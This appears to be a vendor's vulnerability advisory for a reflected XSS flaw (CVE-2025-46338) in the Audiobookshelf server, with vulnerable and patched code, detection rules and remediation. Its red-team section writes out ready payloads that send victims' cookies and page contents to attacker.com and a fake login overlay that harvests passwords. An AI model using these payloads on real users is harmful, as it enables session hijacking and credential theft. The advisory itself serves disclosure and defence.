CVE-2025-46338
Executive Summary
CVE-2025-46338 is a reflected cross-site scripting (XSS) vulnerability in the Audiobookshelf self-hosted audiobook and podcast server, affecting versions prior to 2.21.0. The flaw resides in the /api/upload endpoint, where the libraryId parameter is improperly sanitized before being reflected in server error messages. An attacker can craft a malicious URL containing JavaScript payloads in the libraryId field; when a victim visits this URL, the payload executes in their browser context. This can lead to session hijacking, credential theft, or unauthorized actions on behalf of the victim. The vulnerability has been patched in version 2.21.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Audiobookshelf is distributed as a Node.js application via npm and Docker images. The vulnerability is not a supply chain compromise but a code-level input validation flaw. Users should verify the integrity of their installation by checking the official GitHub repository and npm package signatures. No malicious packages have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low (potential access to session tokens or sensitive data)
- Integrity Impact: Low (ability to modify content or perform actions as the victim)
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking elevate the risk in environments where Audiobookshelf is exposed to untrusted networks.
Deep Dive & Mechanics
The vulnerability exists in the /api/upload endpoint, which handles file uploads for audiobooks and podcasts. The libraryId parameter is used to specify the target library. When an invalid or malformed libraryId is provided, the server returns an error message that directly reflects the unsanitized input. An attacker can inject JavaScript code into the libraryId parameter, which is then executed in the victim's browser when the error page is rendered.
Attack Flow:
- Attacker crafts a URL:
https://victim-server/api/upload?libraryId=<script>alert('XSS')</script> - Victim clicks the link or is redirected to it.
- The server processes the request, fails validation, and returns an error page containing the injected script.
- The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The libraryId parameter is not sanitized or encoded before being included in the error response. This is a classic reflected XSS pattern.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 2.21.0):
// In the upload handler
app.post('/api/upload', (req, res) => {
const libraryId = req.query.libraryId;
// ... validation logic ...
if (!isValidLibrary(libraryId)) {
return res.status(400).send(`Invalid library ID: ${libraryId}`);
}
// ... rest of upload logic ...
});
Patched Code (2.21.0):
// In the upload handler
const escapeHtml = require('escape-html');
app.post('/api/upload', (req, res) => {
const libraryId = req.query.libraryId;
// ... validation logic ...
if (!isValidLibrary(libraryId)) {
return res.status(400).send(`Invalid library ID: ${escapeHtml(libraryId)}`);
}
// ... rest of upload logic ...
});
The patch uses escape-html to encode HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Audiobookshelf instance (version < 2.21.0)
- A victim user with an active session
Exploitation Steps:
- Identify the target server:
https://target-server - Craft a malicious URL with a JavaScript payload:
https://target-server/api/upload?libraryId=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver the URL to the victim via phishing email, social media, or other means.
- When the victim clicks the link, the script executes and sends their cookies to the attacker's server.
Advanced Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Credential theft:
<script>var i=new Image(); i.src='https://attacker.com/steal?data='+btoa(document.body.innerHTML);</script> - Phishing overlay:
<script>document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input name="username"><input name="password" type="password"><input type="submit"></form>';</script>
Blue Team
Detection:
- Monitor web server logs for requests to
/api/uploadwith suspiciouslibraryIdparameters containing<script>tags or other HTML/JavaScript. - Use WAF rules to block requests with
libraryIdcontaining<,>,script,onerror, etc. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup:
- Deploy a vulnerable Audiobookshelf instance using Docker:
docker run -d -p 1337:80 ghcr.io/advplyr/audiobookshelf:2.20.0 - Access the web interface and create a library.
- Craft the exploit URL and test in a controlled browser environment (e.g., using Burp Suite or a local proxy).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/uploadwithlibraryIdcontaining<script>or other HTML tags. - Outbound connections to unknown IPs or domains from the victim's browser (e.g.,
attacker.com).
- HTTP requests to
- File IOCs:
- Suspicious entries in web server access logs showing
libraryIdwith encoded or raw JavaScript.
- Suspicious entries in web server access logs showing
- Behavioral IOCs:
- Unexpected redirects or pop-ups in the Audiobookshelf interface.
- Unauthorized changes to library settings or user accounts.
Detection Engineering
YARA Rule
rule CVE_2025_46338_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Audiobookshelf /api/upload endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46338"
strings:
$xss_payload = /libraryId=.*<script[^>]*>.*<\/script>/i
$xss_event = /libraryId=.*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Audiobookshelf /api/upload
id: 8f7b3a2c-1e5d-4f9a-8c6b-7d2e3f1a0b4c
status: experimental
description: Detects HTTP requests to /api/upload with suspicious libraryId parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "/api/upload?libraryId="
cs-uri-query|re:
- "<script"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of library IDs containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-46338 - Reflected XSS in Audiobookshelf /api/upload";
flow:to_server,established;
content:"/api/upload"; http_uri;
content:"libraryId="; http_uri;
pcre:"/libraryId=.*<script[^>]*>.*<\/script>/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Audiobookshelf to version 2.21.0 or later.
- If immediate upgrade is not possible, implement a WAF rule to block requests with
libraryIdcontaining<,>,script, or event handlers. - Restrict access to the Audiobookshelf web interface to trusted networks only.
Long-term Measures:
- Enforce input validation and output encoding for all user-supplied data.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in other endpoints.
Patch Verification:
- After upgrading, verify the fix by attempting the exploit in a test environment.
- Check the version number in the Audiobookshelf admin panel or via the API.
Valters IT